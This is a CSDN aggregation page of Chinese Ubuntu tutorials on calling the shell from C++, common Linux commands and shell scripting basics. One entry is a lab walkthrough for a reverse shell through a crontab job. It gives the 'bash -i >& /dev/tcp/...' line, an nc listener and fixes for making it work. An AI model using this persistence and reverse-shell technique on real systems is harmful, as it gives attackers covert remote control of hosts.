ubuntu 退出>shell_ubuntu退出shell - CSDN
精华内容
参与话题
  • Ubuntu使用C调用Shell

    2018-03-07 22:37:17
    gt; #include <stdio.h> #include <iostream> #include <string> using namespace std; /* 执行系统命令,返回命令执行结果字符串*/ string get_output_of_cmd(const ...
    #include <stdlib.h>
    #include <stdio.h>
    #include <iostream>
    #include <string>
    using namespace std;
    /* 执行系统命令,返回命令执行结果字符串*/
    string get_output_of_cmd(const string &cmd)
    {
      int32_t count(2048);
      char s[2048];
      string ret;
      FILE* stream = popen(cmd.c_str(), "r");
      if (stream != NULL)
      {
        // 每次从stream中读取指定大小的内容
        while (fgets(s, count, stream))
          ret += s;
        pclose(stream);
      }
      return ret;
    }
    /* 执行系统命令,根据命令退出代码返回布尔值*/
    bool get_exit_status_of_cmd(const string &cmd)
    {
      return (system(cmd.c_str()) == 0);
    }
    int main (int argc, char** argv)
    {
      //get_output_of_cmd("ls -al /home/caolei");
      //get_exit_status_of_cmd("ls -al /home/caolei");
      //get_exit_status_of_cmd("/data/test.sh");
      
      int a = system("ls");
      cout << a << endl;
      
      string b = get_output_of_cmd("ls");
      cout << b << endl;
      
      printf("hello world.\n");
      return 0;
    }

    使用g++编译,不要使用gcc:

    g++ cpp_to_shell.cpp -o cpp_to_shell.out
    注意:popen函数是重点。
    展开全文
  • Ubuntu计划任务反弹shell

    千次阅读 2018-08-19 13:46:53
    1.被攻击者:Ubuntu 192.168.0.8 2.攻击者:kali 192.168.0.127   首先第一步在Ubuntu系统下添加crontab 计划任务 * * * * * bash -i &gt;&amp; /etc/tcp/192.168.0.127/8888 0&gt;&amp;1 ...

    首先介绍一下实验环境

    1.被攻击者:Ubuntu 192.168.0.8

    2.攻击者:kali  192.168.0.127

     

    首先第一步在Ubuntu系统下添加crontab 计划任务

    * * * * * bash -i  >& /etc/tcp/192.168.0.127/8888 0>&1

     

    第二步在kali系统下使用nc命令监听8888端口

    nc -lp 8888

    nc -l 开启监听

    nc - p 指定端口

    可是等了半天我的Kali并没有成功收到shell

     

    那么我们查看一下Ubuntu这边的日志,看看问题出在哪里

    tail -f /var/log/syslog

    可以看到这边日志给出的错误信息是 No MTA installed,discarding output

     

    经过kakaxi 和 ttgo2 两位老师的老师的指导,知道这句话的意思是

    Ubuntu系统默认会将计划任务的错误信息以邮件的方式发送给用户,但是由于Ubuntu系统默认没有安装邮件系统,所以真正的报错信息并不是No MTA installed,discarding output这句话

    想看到真正的报错信息有两种解决办法:

    1.安装邮件系统

    2.将计划任务的错误信息输出到一个文件内

     

    这里我们介绍第2种方法:

    首先我们去修改一下计划任务

    crontab -e

    * * * * * bash -i  '>& /dev/tcp/192.168.0.127/8888 0>&1'>/tmp/error.txt 2>&1

     

    然后我们过一分钟去文件error.txt查看报错信息

    这条错误的意思说/bin/bash没有被找到,通过错误信息还可以明白一件事情,那就是linux里面的cron中command执行的shell环境是/bin/sh,那我们可以再来看一下ubuntu下的/bin/sh文件究极是一个怎么样的文件

     

    ls -l | grep -w “sh”

    可以看到/bin/sh 文件实际上是一个软链接文件,他指向的是dash这个shell

    而实际上dash这个shell只有运行脚本的能力,而没有交互能力。

    这里我们只需要将修改sh的软链接为bash即可

    ln - s -f bash /bin/sh

    这里需要注意:普通用户是没有权限修改之前的软链接的,在这里我们需要提升到root权限

    用到的命令是sudo -i 然后输入自己普通账号的密码即可。

    此时我们已经将/bin/sh的软链接成功修改为bash

     

    解决完这个问题之后我们再回到任务计划里,重新书写任务计划(注意:反弹shell依然需要root权限)

     

    最后我们观察kali系统,发现已经成功反弹回shell

     

    总结一下:Ubuntu下计划任务反弹shell需要注意的事项

    1.需要用root权限书写计划

    2.书写crontab计划的时候要将/bin/sh 软链接到 /bin/bash 

     

    当然我们也可以不修改/bin/sh的软链接
    直接将反弹shell的语句写入脚本,然后crontab任务定时执行脚本就可以

    具体操作如下
    先将/bin/sh的链接修改为/bin/dash

     

    然后我在/var目录下创建了一个脚本cronshell,并赋予它执行权限

     

    之后修改计划任务

     

    kali退出shell并重新监听8888端口

     

    实验成功

     

     

     

    展开全文
  • 1.常用ubuntu(Linux)指令 ctrl c 退出当前执行 cd .. 返回到上一级目录中 cd ~ 返回到根目录中 或者是 cd (加个空格) cd - 返回进入此目录之前所在的目录 exit 退出 常见的操作文件,文件夹的命令 ...

    时光匆匆,不禁感慨,时间宛如白驹过隙-------恍恍一瞬,徒生叹息。今日立秋,天气倒是愈加炎热,愈是酷暑难耐。。。。。。。。。

     


    1.常用ubuntu(Linux)指令

    ctrl c 退出当前执行
    cd ..  返回到上一级目录中
    cd ~   返回到根目录中 或者是 cd (加个空格)
    cd  -  返回进入此目录之前所在的目录
    exit 退出

    常见的操作文件,文件夹的命令

    ---------------------------------
    #  ls — List : 列举出当前工作目录的内容(文件或文件夹) 
    ls -l # 查看文件名称和 文件的权限
    ls -a # 显示全部的文件,包括隐藏的文件

    #  clear : 清除当前命令

    #  mkdir — Make Directory : 创建一个新文件夹

    #  rmdir— Remove Directory : 删除一个文件夹

    #  pwd — Print Working Directory : 显示当前目录

    #  cd — Change Directory : 切换文件路径,cd 将给定的文件夹(或目录)设置成当前工作目录

    #  rm— Remove : 删除指定的文件。 在linux没有回收站,删除之后无法恢复
    #  sudo rm -r hadoop # 删除文件夹下的所有文件

    #  vi : 创建一个文件 vi test.txt
    # 一种比较方便打开文件的方式
    sudo gedit + 文件

    >是覆盖,>> 是追加
    #  echo >: 向已有的文件中增加内容, echo "added contents" >>test.txt

    #  echo >>: 覆盖文件内容,若不存在则创建一个新的文件 echo "new file" >newFile.txt

    #  cat— concatenate and print files : 显示一个文件 cat test.txt

    #  less, more : 如果文件太大,分页显示一个文件,按Q 结束浏 览

    #  tail : 显示文件的最后 10 行, tail -n 5 test.txt 显示最后5 行

    #  touch : 创建一个新的空的文件,不直接进行编辑

    #  cp— Copy : 对文件进行复制 ;例子: cp test.txt ../jun2

    #  mv— Move : 对文件或文件夹进行移动

    #  grep : 在文件中查找指定的字符; grep fun test.txt

    #  tar : tar命令能创建、查看和提取tar压缩文件。
    tar -cvf 是创建对应压缩文件, tar -cvf test.tar test.txt  # 将test.txt 压缩为 test.tar
    tar -tvf 来查看对应压缩文件,
    tar -xvf 来提取对应压缩文件

    #  mkdir — Make Directory : 创建一个新目录
    #  mkdir — Make Directory : 创建一个新目录
    #  mkdir — Make Directory : 创建一个新目录

     软件下载安装

    sudo apt-get update    # 更新一下软件源,获取最新软件的列表
    sudo apt-get install gedit(软件名)    # 安装软件

    系统重启和关机指令

    #  reboot : 立刻进行重启
    #  shutdown -r now : 立刻进行重启
    #  shutdown -r 10 : 10分钟后进行重启

    # 关机命令
    #  halt : 立刻关机
    #  poweroff : 立刻关机
    #  shutdown -h now : 立刻关机

    文件模式和访问权限

    #  chmod (change mode) :命令来改变文件或目录的访问权限

    -rwxr-xr--  : 含义表示
    第一列的字符可以分为三组,每一组有三个,每个字符都代表不同的权限,分别为读取(r)、写入(w)和执行(x):
    u 第一组字符(2-4)表示文件所有者的权限,-rwxr-xr-- 表示所有者拥有读取(r)、写入(w)和执行(x)的权限。
    g 第二组字符(5-7)表示文件所属用户组的权限,-rwxr-xr-- 表示该组拥有读取(r)和执行(x)的权限,但没有写入权限。
    o 第三组字符(8-10)表示所有其他用户的权限,rwxr-xr-- 表示其他用户只能读取(r)文件。

    目录的访问模式为:
    读取:用户可以查看目录中的文件
    写入:用户可以在当前目录中删除文件或创建文件
    执行:执行权限赋予用户遍历目录的权利,例如执行 cd 和 ls 命令。(只是对于目录而言)

    #  chmod o=rwx anoterDir : 设置其他用户的权限,o, 
    - 表示删除权限, + 表示增加权限

    环境变量

    # 常见的环境环境变量。 输入的形式为: echo $Home
    #--- 使用 env 显示所有的环境变量 
    HOME:指定用户的主工作目录    ,如: echo $Home
    LOGNAME:指当前用户的登录名
    HOSTNAME:指主机的名称
    LANG/LANGUGE:和语言相关的环境变量

    vim ~/.bashrc      #进行环境配置
    source ~/.bashrc   # 使配置立即生效


    export 设置一个新的环境变量 export HELLO="hello" (可以无引号)
    unset 清除环境变量 unset HELLO

    ubuntu登陆到mysql

    (登陆到mysql中)
    #---启动和终止mysql-----
    service mysql start

    service mysql restart
    service mysql stop

    #---打开mysql的shell命令
    mysql -u root -p

     

     

    -------------------------------------------------------------------

    2.shell编程简单的常用的指令

    编写第一个shell脚本:


    # 1. 创建一个文件

    gedit test1


    #2. 输入: 输入 echo $SHELL 查看
    #!/bin/bash
    echo 'this is my first shell'


    #3. 赋予该文件可执行的权限
    chmod 755 test1


    #4. 执行脚本文件,    ./表示从当前文件夹中进行查找 
    ./test1

    定义变量:  变量名和等号之间不能有空格

     

    var_name="zhangsan"
    echo $var_nam  # 使用变量

    # 单引号:任何字符都会依据原样输出
    str='this is str'
    # 双引号
    双引号里可以有变量
    双引号里可以出现转义字符
    name='zhangsan'
    str="hello, you are \"$name\" \n"

    # 获取字符串的长度
    string="zhangsan"
    echo ${#string} #输出:7
    # 提取字符串
    echo ${string:1:4} #输出:hans

    # 数字
    var=1
    var=$var+1
    echo $var
    echo $((var += 1))
    # 两者数字相加,乘,除等操作
    var=(($var+$num))  # 加双层的括号, 双括号用于执行数学运算

    shell中的控制流程

    if [ "${SHELL}" == "/bin/bash" ]; then
      echo "your login shell is the bash (bourne again shell)"
    else
      echo "your login shell is not bash but ${SHELL}"
    fi  #结束符号,是 if 的相反
    
    # 常用的判断语句
    -f "filename"
    判断是否是一个文件
    -x "/bin/ls"
    判断/bin/ls是否存在并有可执行权限
    -n "$var"
    判断 $var 变量是否有值
    "$a" == "$b"
    判断$a和$b是否相等
    
    # ----select 循环语句
    RANDOM 是shell 中的一个随机数
    select 循环语句是bash的一种扩展应用,擅长于交互式场合。
    echo "What is your favourite OS?"
    select var in "Linux" "Gnu Hurd" "Free BSD" "Other"; do # 提供给用户选择的方案
      break;
    done
    echo "You have selected $var"
    
    # shell中的大于小于等符号表示
    大于       -gt (greater than) 
    小于       -lt (less than) 
    大于或等于 -ge (greater than or equal) 
    小于或等于 -le (less than or equal) 
    不相等     -ne (not equal)
    
    # -----while/for 循环
    while ...; do
       ....
    done
    
    # for循环
    for var in ....; do
       ....
    done
    
    for ((i=0; i<5; i++)); do # 打印出数字出来
    	echo $i
    done

    shell中定义函数

    #--- 定义一个函数
    declare num=500  #定义全局变量
    function abc(){
        local num=100  # 定义函数的局部变量
        echo "this is a function"
        echo $1  # 传递一个参数,形式如 $1, $2, $3 的形式
        return 22
    }
    abc # 调用函数
    abc hji # 传入一个指定的参数
    echo $?  # 打印出函数的返回值

     

     

     

    展开全文
  • ubuntushell脚本基础与入门

    千次阅读 2014-10-11 17:54:32
    今天阅读项目的sh脚本,特地kan

    shell脚本学习推荐书籍:

    《LINUX与UNIX Shell编程指南》 

    < < Advanced Bash-Scripting Guide > > ,即ABS

    《Learning the bash shell》


    一、今天阅读项目的sh脚本,特地看了下sh脚本的执行方法,发现还是挺多的,在网络上搜索到一些相关资料,罗列如下。

    1. source命令或者点(.)命令用法:

      source FileName

      作用:在当前bash环境下读取并执行FileName中的命令。该filename文件可以无"执行权限"

        注:该命令通常用命令“.”来替代。

    这里的FileName不需要用 #!

        如:source .bash_profile

            . .bash_profile两者等效。

        source(或点)命令通常用于重新执行刚修改的初始化文档。

        source命令(从 C Shell 而来)是bash shell的内置命令。

        点命令,就是个点符号,(从Bourne Shell而来)。

        source的程序主体是bash,脚本中的$0变量的值是bash,而且由于作用于当前bash环境,脚本中set的变量将直接起效

    2 sh, bash的命令用法:

         sh/bash FileName

         作用:打开一个子shell来读取并执行FileName中命令。该filename文件可以无"执行权限"

         注:运行一个shell脚本时会启动另一个命令解释器.

             每个shell脚本有效地运行在父shell(parent shell)的一个子进程里.

                这个父shell是指在一个控制终端或在一个xterm窗口中给你命令指示符的进程.

             shell脚本也可以启动他自已的子进程.

                这些子shell(即子进程)使脚本并行地,有效率地地同时运行脚本内的多个子任务.

        在ubuntu中sh只是bash的一个链接。

        由于是在子shell中执行,脚本设置的变量不会影响当前shell。

    3、./的命令用法:

         ./FileName

         作用:打开一个子shell来读取并执行FileName中命令。该filename文件需要"执行权限"

         注:运行一个shell脚本时会启动另一个命令解释器.

             每个shell脚本有效地运行在父shell(parent shell)的一个子进程里.

                这个父shell是指在一个控制终端或在一个xterm窗口中给你命令指示符的进程.

             shell脚本也可以启动他自已的子进程.

                这些子shell(即子进程)使脚本并行地,有效率地地同时运行脚本内的多个子任务.

        由于是在子shell中执行,脚本设置的变量不会影响当前shell。


    二、第一个最常见的修改环境变量的命令:

    export 功能说明:设置或显示环境变量。
    语  法:export [-fnp][变量名称]=[变量设置值]
    补充说明:在shell中执行程序时,shell会提供一组环境变量。export可新增,修改或删除环境变量,供后续执行的程序使用。export的效力仅限于该次登陆操作。
    参  数:
     -f  代表[变量名称]中为函数名称。
     -n  删除指定的变量。变量实际上并未删除,只是不会输出到后续指令的执行环境中。
     -p  列出所有的shell赋予程序的环境变量。

    扩展:

    set:显示(设置)shell变量 包括的私有变量以及用户变量,不同类的shell有不同的私有变量 bash,ksh,csh每中shell私有变量都不一样

    env:显示(设置)用户变量变量

    export:显示(设置)当前导出成用户变量的shell变量。

    使用unset命令来清除环境变量,注意set env  export设置的变量,都可以用unset来清除的

    使用readonly命令设置只读变量

    最根本的设置、更改变量的配置文件 ~/.bash_profile   ~/.bashrc   ~/.bash_logout

    ~/.bash_profile  用户登录时被读取,其中包含的命令被执行

    ~/.bashrc  启动新的shell时被读取,并执行

    ~/.bash_logout  shell 登录退出时被读取


    三、Bash shell的初始化过程

    shell(这里指bash)的初始化过程是这样的:

    1.bash 检查文件/etc/profile 是否存在

    2. 如果存在,bash 就读取该文件,否则,跳过

    3.bash 检查主目录下的文件.bash_profile 是否存在。

    4. 如果存在,bash 就读取該文件,否则,跳过

    5.bash 检查主目录下的.bash_login 是否存在。

    6. 如果存在,bash 就读取该文件,否则,跳过

    7.bash 检查主目录下的文件.profile 是否存在

    8. 如果存在, bash 就读取该文件,否则,跳过。

    这些步骤都执行完后,就出现提示符了, ksh 默认提示符是 $.


    四、shell命令里常见的参数与运算符:

    -e filename  filename存在,则真
    -d filename  filename目录则真 
    -f filename  filename常规文件,则真
    -L filename  filename符号链接则真
    -r filename  filename可读则真 
    -w filename  filename可写则真 
    -x filename  filename可执行则真
    -s filename 文件长度0则真
    -h filename 文件软链接则真
    filename1 -nt filename2  filename1比 filename2新则真
    filename1 -ot filename2  filename1比 filename2旧则真
    -eq 等于
    -ne 不等于
    -gt 大于
    -ge 大于等于
    -lt 小于
    -le 小于等于
    至于!号取非呗
    

    五、常见的shell变量

    PATH 这个变量包含了一系列由冒号分隔开的目录,系统就从这些目录里寻找可执行文件。如果你输入的可执行文件(例如ls、rc-update或者emerge) 不在这些目录中,系统就无法执行它(除非你输入这个命令的完整路径,如/bin/ls)。  
    ROOTPATH 这个变量的功能和PATH相同,但它只罗列出超级用户(root)键入命令时所需检查的目录。  
    LDPATH 这个变量包含了一系列用冒号隔开的目录,动态链接器将在这些目录里查找库文件。 
    MANPATH 这个变量包含了一系列用冒号隔开的目录,命令man会在这些目录里搜索man页面。  
    INFODIR 这个变量包含了一系列用冒号隔开的目录,命令info将在这些目录里搜索info页面。  
    PAGER 这个变量包含了浏览文件内容的程序的路径(例如less或者more)。  
    EDITOR 这个变量包含了修改文件内容的程序(文件编辑器)的路径(比如nano或者vi)。  
    KDEDIRS 这个变量包含了一系列用冒号隔开的目录,里面放的是KDE相关的资料。 
    CONFIG_PROTECT 这个变量包含了一系列用空格隔开的目录,它们在更新的时候会被Portage保护起来。 
    CONFIG_PROTECT_MASK 这个变量包含了一系列用空格隔开的目录,它们在更新的时候不会被Portage保护起来。

     

    PATH:决定了shell将到哪些目录中寻找命令或程序
    HOME:当前用户主目录
    MAIL:是指当前用户的邮件存放目录。
    SHELL:是指当前用户用的是哪种Shell。
    HISTSIZE:是指保存历史命令记录的条数
    LOGNAME:是指当前用户的登录名。 
    HOSTNAME:是指主机的名称,许多应用程序如果要用到主机名的话,通常是从这个环境变量中来取得的。
    LANG/LANGUGE:是和语言相关的环境变量,使用多种语言的用户可以修改此环境变量。 
    PS1:是基本提示符,对于root用户是#,对于普通用户是$。
    PS2:是附属提示符,默认是“>”。可以通过修改此环境变量来修改当前的命令符,比如下列命令会将提示符修改成字符串“Hello,My NewPrompt :) ”。 
    # PS1=" Hello,My NewPrompt :) "

    展开全文
  • 2019独角兽企业重金招聘Python工程师标准&gt;&gt;&gt; ...
  • 为什么80%的码农都做不了架构师?&gt;&gt;&gt; ...
  • Ubuntu shell 条件测试

    千次阅读 2013-12-27 18:29:37
    条件测试 test 测试条件 测试内容 [测试条件 测试内容] #用的更为广泛 1 测试文件类型 test -e 文件名 测试文件是否存在,存在为真 [ -e 文件名 ] 注意:[]的左右两侧必须加...
  • 下面的命令大都需要在 控制台 / 终端 / shell 下输入。 控制台, 终端, 和 shell 意味着同样一件事 - 一个命令行界面, 他可以用来控制系统。 打开一个控制台: 应用程序 --&gt; 附件 --&gt; 终端 任何一...
  • ubuntu shell 命令大全

    2019-06-16 07:07:59
    下面的命令大都需要在 控制台 / 终端 / shell 下输入。控制台, 终端, 和 shell 意味着同样一件事 - 一个命令行界面, 他可以用来控制系统。打开一个控制台:应用程序 --&gt; 附件 --&gt; 终端任何一个使用 'sudo' ...
  • ###Ubuntu默认SHELL是dash,下面命令可以看到: $ ll /bin/sh lrwxrwxrwx 1 root root 4 12月 23 14:08 /bin/sh -&gt; dash* ###设置SHELL为bash $ sudo dpkg-reconfigure das...
  • ubuntu 16.04 LTS - 打开和关闭 Terminal

    千次阅读 2020-07-18 12:36:18
    ubuntu 16.04 LTS - 打开和关闭 Terminal 1. 打开 Terminal 快捷键 Ctrl + Alt + T 2.Search your computer -&gt; Terminal -&gt; Lock to Launcher 3. 关闭Terminal 快捷键 exit
  • 1.后台运行符号: &...2.重定向符号:&gt; < ”&gt;”,”<”将标准输入,输出重新定向 3.管道符: | |主要的作用是,将上一个命令的结果作为下一个命令数据的来源 4.通配符:* 5.环境变量使用命令:expor...
  • Ubuntu下查看进程PID & 终止进程方法汇总一、查看进程及PID1、top命令查看进程pid2、直接在终端输入ps命令来查看进程及对应PID3、pstree4、pgrep <进程名&gt;二、终止进程1、xkill2、kill 3、pkill <进程...
  • shell 变量和参数

    千次阅读 2011-11-24 16:31:19
    shell变量 变量 含义 $0 脚本名字 $1 位置参数 #1 $2 - $9 位置参数 #2 - #9 ${10} 位置参数 #10 $# 位置参数的个数 "$*" 所有的位置参数(作为单个字符串) * ...
  • Linux(Ubuntu)中HDFS的操作(Shell)

    千次阅读 2018-09-25 15:54:51
    调用文件系统(FS)Shell命令为:hadoop fs &lt;args&gt;形式 检查Hadoop 相关的进程是否启动 jps 在hadoop文件下创建一个test文件夹 hadoop fs -mkdir /test 在test文件夹中创建一个...
  • Linux——》nohup、&、2>&1

    千次阅读 2019-04-12 15:33:37
    版权声明:本文为博主原创文章,无需授权即可转载,甚至无需保留以上版权声明,转载时请务必注明作者。...、2&gt;&1一、nohup1、用途2、语法二、&1、用途2、语法三、nohup command &1、&...
  • 准备好需要开机自启的 shell sudo vim /etc/rebootRun.sh #!/bin/sh -e # # Script description # echo "Script Run Success" &gt; /usr/local/testrun.log exit 0 -e 的含义 每条指令之后,都可以用$?去判断...
  • Shell脚本中判断输入参数个数的方法

    千次阅读 2015-04-13 18:18:06
    这篇文章主要介绍了Shell脚本中判断输入参数个数的方法,使用内置变量$#即可实现判断输入了多少个参数,需要的朋友可以参考下 $#代表了命令行的参数数量,可以看以下实例: 复制代码代码如下: ...
  • 跟我一起写 Makefile吴尚奇 (博客园)概述——什 么是makefile?或许很多Winodws的程序员都不知道这个东西,因为那些Windows的IDE都为你做了这个工作,但我觉得要作一个好的和 professional的程序员,尤其是经常在...
  • Ubuntu--(3)shell快速入门

    2016-10-28 09:20:37
    运行shell文件方法sh -x script_name //将执行脚本并显示所有变量的值 sh -n script_name //不执行脚本,只检查语法 sh -v script_name //执行脚本前把脚本内容显示在屏幕上 sh script-file //这个好像会有问题 ./...
1 2 3 4 5 ... 20
收藏数 3,183
精华内容 1,273
关键字:

ubuntu 退出>shell